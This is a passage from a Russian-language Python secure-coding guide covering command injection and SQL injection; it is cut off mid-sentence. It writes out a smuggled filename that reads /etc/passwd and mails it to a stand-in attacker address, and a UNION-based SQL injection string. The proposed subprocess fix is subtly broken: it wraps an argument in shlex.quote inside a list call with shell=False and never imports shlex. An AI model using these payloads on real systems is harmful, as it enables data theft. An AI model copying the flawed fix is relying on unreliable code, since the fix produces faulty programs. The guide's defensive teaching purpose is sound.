Использование subprocess.call, os.system или popen с невалидируемым пользовательским вводом — частая ошибка. Пример: python Copy Download import subprocess
def transcode_file(filename):
command = f'ffmpeg -i "{filename}" output.mpg' # Уязвимость!
subprocess.call(command, shell=True) # Параметр shell=True опасен Угроза: Злоумышленник может передать filename вида "; cat /etc/passwd | mail attacker@example.com, выполнив произвольные команды. Решение: python Copy Download subprocess.call(['ffmpeg', '-i', shlex.quote(filename), 'output.mpg'], shell=False) Конкатенация строк в SQL-запросах — грубая ошибка: python Copy Download cursor.execute(f"SELECT * FROM users WHERE rank = '{rank}'") # Уязвимость! Угроза: Внедрение ' UNION ALL SELECT * FROM SSN-- раскроет конфиденциальные данные. Решение: Используйте ORM (Django, SQLAlchemy) или параметризованные запросы: python Copy Download cursor.execute("SELECT * FROM users WHERE rank = %s", (rank,)) Стандартные библиотеки xml.etree.Elemen